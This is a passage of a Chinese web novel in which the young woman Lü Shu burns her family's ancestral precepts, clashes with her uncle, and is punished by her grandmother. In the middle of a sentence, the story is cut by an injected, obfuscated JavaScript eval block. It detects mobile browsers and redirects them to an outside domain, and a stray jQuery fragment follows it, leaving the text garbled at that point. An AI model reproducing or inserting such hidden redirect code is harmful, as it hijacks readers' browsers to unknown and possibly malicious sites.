把袖子一撸,两只精细的臂膀费劲一提,水桶岿然不动。
众人都看着,吕璋只好又使了一把劲,水桶才勉强没有沾地,不过刹那,就累得气喘吁吁。双手一松,水桶落在了地上,淋了一地的水,只好又换成了个瓢去舀水。
“二叔敢泼水,我就敢死在这里!”
吕璋却不怕吕姝说这等话,蛮横地要泼灭火苗。惊月拦着不放,两人推搡之中,赵夫人和吕犀赶了过来,看见就是这副场景。
赵夫人两眼看见光亮亮的白刀子架在女儿的脖子上,心下惊慌得大叫,“吕璋!你敢逼死我女儿!我和你拼命!”
说罢就像猛虎一般,扑到吕璋身上一把乱扯乱捶,吕璋不好还手,只是喊着:“我不同你们这些女流计较!”打的没法儿了,缩着身子,护着脑袋,便叫嚷着求饶:“大嫂!别打别打!我没逼她呢!是她逼我!”
吕犀看着母亲和二叔扭打在一处,妹妹脖子架着刀,两边也不知道先救谁,难办得很。
转头一看,那边樟树坡下,秦禄已如多长了两条腿一般,脚下生风,一径跑,后边的小厮一径追他。吕犀便知道他是要来劝吕姝的,故而先把他母亲从那攀扯的如藤蔓一般的混乱里摘了出来。
秦禄眼下心急如焚,一进院门,只找吕姝。瞧见吕姝说话虽有杀气,握着刀柄的胳膊手臂并不紧张,比起她自己反倒更紧张她和吕璋打闹的母亲,心下才知道她没有真的生出要寻死的念头。
想到这里才敢大口大口喘气。汗水涔涔地从他额间流淌,额前的网巾也歪了,发冠也松散了,两鬓的发丝也像飞奔的野马般狂乱。
秦禄简单随手一抹,把领口松了松,喘得过气了就马上问:“你们主仆,这是闹哪儿样啊?”
眼睛在吕姝和听风惊月间来回打转。
等她们两个丫鬟把事情说了,秦禄这才知道吕姝是要为了那纸上的死物如此这般拼命。
虽说他觉得以吕姝的才智并不应该大费周章到如此地步,却猜到她必是要烧掉那些家训才肯罢休,索性帮着听风一起,三两把地把那些东西放进铁锅里一起烧了。
南风把火焰拱得更高,火越烧越旺。吕姝看着这景象,心里紧张的石头落地了一半。她本没有期待有人会站在她的这边,也做好了准备一个人愚公移山的准备。
她没想到刚才被她气跑的秦禄,竟然又回来帮她,心里不禁有些动容。
天色阴沉得马上就要下雨,厚重沉闷的风压低了红蜻蜓的翅膀,使它不得高飞。老树上的鸣蝉也不知道是几时停歇的,它们就悄悄地闭了嘴了。
老天就是这样,要令什么都闭嘴,只许它自己发怒,它自己呼喊。
看着灰蒙蒙的四周,她忽觉万物都失了颜色。唯有眼前金色的火光如夜庙里供奉的长明灯一般,令吕姝觉得那是她渴盼已久的希望,就好似火苗腾腾地网上窜起,她的生命也像如此一般。
轰隆两声,两道夏雷如洪啸般浩大,凭着淹没的态度息事宁人,宣告一场蓄势待发的雨马上要来。
听到这雷声,在场所有人都不约而同地抬起来来看天色,他们各有心事。或是要去盼着这雨赶紧结束这闹剧,或是心里求这雨先别来要回院子里收东西,或是不想淋雨的,或是要继续看笑话的……
吕璋率先发话,他老脸被打得肿起来好大一个包,愣是这样,他还是要喊:“敢烧老祖宗的箴言!老天就看不惯这种妖孽,要劈死你这个谬种!”
“妖孽,谬种?”吕姝冷笑两声。她可太知道这话的歹毒了。吕璋这是要把她打成异类,撺掇着不把她当人看,好把她排挤出去。
木阶之上,吕姝拖着病体坐着轮椅,在高大的藏书阁前她的身影瘦瘦小小的,就如同窗棂前单薄的绛纱一般。
少女面容清丽,稚气未脱,却有着足以翻江倒海的浩然之气。
她冷哼一声,两颊讥笑:“我若是妖孽,二叔你还能站在这里?”
忽而声音一冷,声音若千年寒冰,又若惊堂木一般令人发怵:“当着我母亲的面,如此构陷她的女儿,可见二叔也不懂什么人伦纲常。”
“二叔要告状也不要着急,或许过几年就能到地底下亲自去见了,到那时,随你去说。只是也不知道二叔这些年做了几件好事,有没有脸见老祖宗。就是见到了也不知他们是先怪罪你,还是先怪罪我。”
吕姝可知道,他二叔为了一己之私把人命都不放在眼里。
吕璋听了,气得忽然有了大力气,抄起一瓢水就往吕姝的面上泼去,说时迟那时快,秦禄和吕犀两个都上前护着,紧张之中朝吕璋的肩膀一人推了一掌。
吕璋哎哟一声躺倒在地,他手上的水在空中泼洒开来,溅了几滴到吕姝头上。
秦禄一瞧,却发现她头上簪的并蒂莲花沾了水,在氤氲的水汽之中,仿佛有了新的生机。
吕姝大笑起来,忽而神色一改,如正在加冕的女皇一般,睥睨道:“天是要下雨。你们便看老天爷下雨前,我烧不烧得完!若是烧得完,那就是天意使然!”
她毫不示弱,浑身散发有一种宛若将大山推倒般的精神。
她究竟知不知道,她要推倒的不是一座高山,那座山背后,是连绵起伏的群山呢?
她撕下一块布,食指往锋利的刀子上一蹭,血立刻流了出来。她往丝绸上书写几个大字:“敢问西天,火烧毒书,吕姝有罪否?”
说罢,大手一挥,这丝绸随风飘入火焰中。
她的声音慷慨激昂:“且让这南风助我上达天听!”
就在这时,狂风四起。忽而风向一变,浓烟卷入西风,掠过低矮深寂的檐阁,飘远的烟隐入阴森的天色中。
赵夫人到这时候才知道,吕姝烧的是吕家的祖训册子,面上一白,不停地揉着手中的帕子,担忧着说:“好端端的,怎么烧起这个来,这是要动家法的呀……”
紧接着电闪雷鸣,墨云滚滚,声势浩大到仿佛天也要翻了,地也要倾覆。众仆从都把手遮着头,以为要下雨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122333|180050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,可站了半天,只听见地动山摇的声音,却丝毫没有片雨下来。
“烧完了!烧完了!”
夏日燥热,这么一烧火,秦禄的背和领口都汗湿了,他只顾走到吕姝身边,也不管她同不同意,拿起她的刀就远远地往那边无人的坡下一扔,“现在也该放心了。”
吕姝大笑:“这是天意!哈哈哈哈!”
吕璋气得无话可说,憋了好久,才憋出几个字来。
“旱魃!你就是旱魃!”
也不知道他使了多大力道,有意或是无意,方才那刀却是如飞刀一般从吕璋的颈间擦身而过,嵌入一株老树上。谁让吕璋他刚好站在院门中央呢。
“轻点儿!那是我的刀!”吕犀一边偷笑一边喊:“找燕地有名的锻刀师傅,排了一年的队,才给我打出来的!”
“小气什么,坏了赔你一把。”秦禄又转头向那边刚挨了打的吕璋笑着赔礼说:“二叔没事吧?差点儿不小心伤到二叔,真是抱歉。都怪我年轻,眼没长全。”
吕璋被秦禄那刀锋吓到,如被电击过一般不敢动弹一份分。秦禄看见他脑袋上黑烟直冒,笑得前仰后合。
过了好一会儿吕璋回过神来,指着秦禄骂:“你们夫妻都是一条藤儿!”
“目无尊长目无法纪的王八羔子!我定要到荣回堂去找老太太评评理!我活到这么大年纪,还没见过治不了黄口顽童的长辈!你们别当家法是死的,容得你们上蹿下跳一时,容不得一日!你们等着!”
说罢,吕璋甩了袖袍一走。那些仆从看他走了,也都走了。偌大一个院子,一下空了起来。
四下里也没人说话。
这时秦禄道:“反正烧掉的都是遗物。不如拿点儿纸钱来,一起烧了供奉。”
吕犀听了,跟她母亲商量道:“也是,给老祖宗送点钱,了事算了。”
眼下赵夫人也拿不出主意,只能先按秦禄的办。
“多烧点,你祖父喜欢的曲本儿乐谱,给他多烧些,他爱听的。再请人扎几座大宅子,大园子的,轿子宝马都烧些,只求让他老人家看这些份上,别上来带你妹妹下去。”
说着说着,赵夫人双手合十,虔诚地对着家祠的方向拜了三拜。
吕犀道:“晓得晓得。这点儿事儿我还是办得好的。”说完也就命人准备了去了。
赵夫人领着吕姝到荣回堂的时候,吕璋已经添油加醋说了许多,还把吕瑛也叫了来,两个人一起给老太太说吕姝如何如何不是。
故而待吕姝一进门,老太太怒气冲冲地,颤抖的手指着说:“你……你这不孝的孙女!”
老太太又问她还有什么话要说。
吕姝挺直腰板说:“我并非是非不分,只是那些书有毒,所以我烧了。”
赵夫人替她好生辩解了几句,老太太的气还是不消。最后吕姝被扣了半年的月钱,禁足在院子里一个月,还让她伤好了以后,去祠堂跪三日。
吕姝领了罚,心中却没有悔意。